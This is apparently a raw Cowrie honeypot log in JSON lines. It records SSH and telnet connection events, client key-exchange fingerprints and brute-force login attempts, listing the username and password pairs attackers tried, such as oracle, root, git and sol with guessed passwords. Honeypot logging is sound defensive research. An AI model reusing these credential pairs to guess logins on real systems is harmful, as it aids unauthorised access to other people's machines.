{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:10.659521Z","src_ip":"172.185.24.228","session":"ceb02ead2994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:10.756273Z","src_ip":"172.185.24.228","session":"8d242a396182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:10.760946Z","src_ip":"172.185.24.228","session":"ceb02ead2994","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54060,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f3ad7ab4538","protocol":"telnet","message":"New connection: 65.60.27.33:54060 (10.17.0.5:23) [session: 9f3ad7ab4538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:14.032191Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":35050,"dst_ip":"159.203.135.109","dst_port":22,"session":"25b0e1629c09","protocol":"ssh","message":"New connection: 181.234.2.36:35050 (159.203.135.109:22) [session: 25b0e1629c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:14.075055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:14.080371Z","src_ip":"181.234.2.36","session":"25b0e1629c09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:14.178681Z","src_ip":"181.234.2.36","session":"25b0e1629c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tsserver","message":"login attempt [root/tsserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:14.651867Z","src_ip":"181.234.2.36","session":"25b0e1629c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55164,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b20e7d5c4ab","protocol":"telnet","message":"New connection: 165.232.131.181:55164 (10.17.0.5:23) [session: 1b20e7d5c4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:14.998631Z"}
{"eventid":"cowrie.session.closed","duration":0.016350984573364258,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:15.014838Z","src_ip":"165.232.131.181","session":"1b20e7d5c4ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:15.751278Z","src_ip":"181.234.2.36","session":"25b0e1629c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48636,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d8d363e2514","protocol":"telnet","message":"New connection: 38.54.119.93:48636 (10.17.0.5:23) [session: 9d8d363e2514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:15.922511Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41514,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc429d5cdf0b","protocol":"telnet","message":"New connection: 65.60.27.33:41514 (10.17.0.5:23) [session: dc429d5cdf0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:27.814256Z"}
{"eventid":"cowrie.session.closed","duration":35.6774160861969,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:27.955993Z","src_ip":"62.210.97.77","session":"e13ff274e39b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34826,"dst_ip":"10.17.0.5","dst_port":23,"session":"521203ffbb1e","protocol":"telnet","message":"New connection: 165.232.131.181:34826 (10.17.0.5:23) [session: 521203ffbb1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:30.692988Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":48006,"dst_ip":"159.203.135.109","dst_port":22,"session":"facd7ee26ed7","protocol":"ssh","message":"New connection: 80.94.92.182:48006 (159.203.135.109:22) [session: facd7ee26ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:33.289068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:33.404980Z","src_ip":"80.94.92.182","session":"facd7ee26ed7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:33.409179Z","src_ip":"80.94.92.182","session":"facd7ee26ed7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"zxcvasdfqwer@1234","message":"login attempt [sol/zxcvasdfqwer@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:34.320839Z","src_ip":"80.94.92.182","session":"facd7ee26ed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:35.437213Z","src_ip":"80.94.92.182","session":"facd7ee26ed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.846736669540405,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:36.135765Z","src_ip":"62.210.97.77","session":"d867d31e2595","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.221.220.144","src_port":42331,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccc244ed66f7","protocol":"telnet","message":"New connection: 84.221.220.144:42331 (159.203.135.109:23) [session: ccc244ed66f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:38.116733Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":34890,"dst_ip":"159.203.135.109","dst_port":22,"session":"05c7b8a6cbb3","protocol":"ssh","message":"New connection: 20.203.42.204:34890 (159.203.135.109:22) [session: 05c7b8a6cbb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:39.397692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:39.403206Z","src_ip":"20.203.42.204","session":"05c7b8a6cbb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:39.569837Z","src_ip":"20.203.42.204","session":"05c7b8a6cbb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.619773864746094,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:40.208520Z","src_ip":"62.210.97.77","session":"86b5f879070d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2022","message":"login attempt [git/git@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:40.270376Z","src_ip":"20.203.42.204","session":"05c7b8a6cbb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:41.441509Z","src_ip":"20.203.42.204","session":"05c7b8a6cbb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36484,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc381917d603","protocol":"telnet","message":"New connection: 38.54.119.93:36484 (10.17.0.5:23) [session: fc381917d603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:42.031480Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":50950,"dst_ip":"159.203.135.109","dst_port":23,"session":"f25309c749e3","protocol":"telnet","message":"New connection: 192.211.53.160:50950 (159.203.135.109:23) [session: f25309c749e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:50.700307Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":43580,"dst_ip":"159.203.135.109","dst_port":22,"session":"d93df36cfe5a","protocol":"ssh","message":"New connection: 61.72.55.130:43580 (159.203.135.109:22) [session: d93df36cfe5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:51.190656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:51.195487Z","src_ip":"61.72.55.130","session":"d93df36cfe5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:51.397132Z","src_ip":"61.72.55.130","session":"d93df36cfe5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"R00tuser","message":"login attempt [root/R00tuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:52.235889Z","src_ip":"61.72.55.130","session":"d93df36cfe5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41328,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffed3e46b5af","protocol":"telnet","message":"New connection: 65.60.27.33:41328 (10.17.0.5:23) [session: ffed3e46b5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:53.234856Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:53.439852Z","src_ip":"61.72.55.130","session":"d93df36cfe5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.7168653011322,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:55.748886Z","src_ip":"65.60.27.33","session":"9f3ad7ab4538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":54580,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8d343966910","protocol":"ssh","message":"New connection: 172.185.24.228:54580 (10.17.0.5:22) [session: e8d343966910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:08.147052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:08.151696Z","src_ip":"172.185.24.228","session":"e8d343966910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:08.295954Z","src_ip":"172.185.24.228","session":"e8d343966910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test9999","message":"login attempt [root/test9999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:08.664130Z","src_ip":"172.185.24.228","session":"e8d343966910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.77106022834778,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:08.693439Z","src_ip":"38.54.119.93","session":"9d8d363e2514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81041717529297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:08.926920Z","src_ip":"84.221.220.144","session":"ccc244ed66f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:09.752311Z","src_ip":"172.185.24.228","session":"e8d343966910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.22624754905701,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:14.040394Z","src_ip":"65.60.27.33","session":"dc429d5cdf0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57348,"dst_ip":"10.17.0.5","dst_port":23,"session":"38338a2b1ffb","protocol":"telnet","message":"New connection: 38.54.119.93:57348 (10.17.0.5:23) [session: 38338a2b1ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:14.148362Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50796,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e1f497581f3","protocol":"telnet","message":"New connection: 165.232.131.181:50796 (10.17.0.5:23) [session: 3e1f497581f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:14.490275Z"}
{"eventid":"cowrie.session.closed","duration":44.16428899765015,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:14.857140Z","src_ip":"165.232.131.181","session":"521203ffbb1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53904,"dst_ip":"10.17.0.5","dst_port":23,"session":"49218045db02","protocol":"telnet","message":"New connection: 62.210.97.77:53904 (10.17.0.5:23) [session: 49218045db02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:17.698786Z"}
{"eventid":"cowrie.session.closed","duration":37.80878686904907,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:28.508995Z","src_ip":"192.211.53.160","session":"f25309c749e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59026,"dst_ip":"10.17.0.5","dst_port":23,"session":"68eeede965cd","protocol":"telnet","message":"New connection: 62.210.97.77:59026 (10.17.0.5:23) [session: 68eeede965cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:30.220052Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57622,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d114b522eaa","protocol":"telnet","message":"New connection: 165.232.131.181:57622 (10.17.0.5:23) [session: 5d114b522eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:32.149218Z"}
{"eventid":"cowrie.session.closed","duration":40.56708073616028,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:33.801825Z","src_ip":"65.60.27.33","session":"ffed3e46b5af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.35959815979004,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:35.390957Z","src_ip":"38.54.119.93","session":"fc381917d603","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48128,"dst_ip":"10.17.0.5","dst_port":23,"session":"8283e105812c","protocol":"telnet","message":"New connection: 38.54.119.93:48128 (10.17.0.5:23) [session: 8283e105812c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:46.199325Z"}
{"eventid":"cowrie.session.closed","duration":33.291494846343994,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:47.781642Z","src_ip":"165.232.131.181","session":"3e1f497581f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.474491596221924,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:52.173149Z","src_ip":"62.210.97.77","session":"49218045db02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60850,"dst_ip":"10.17.0.5","dst_port":23,"session":"438e83c6fc9b","protocol":"telnet","message":"New connection: 62.210.97.77:60850 (10.17.0.5:23) [session: 438e83c6fc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:54.979835Z"}
